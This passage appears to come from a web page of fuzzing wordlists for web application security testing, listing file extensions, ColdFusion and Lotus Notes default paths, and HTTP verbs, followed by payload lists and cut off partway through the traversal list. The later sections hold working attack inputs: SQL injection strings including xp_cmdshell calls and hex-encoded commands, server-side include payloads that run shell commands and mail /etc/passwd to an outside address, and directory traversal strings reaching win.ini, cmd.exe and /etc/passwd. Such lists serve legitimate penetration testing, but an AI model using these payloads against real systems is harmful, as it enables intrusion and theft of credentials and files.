.qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> 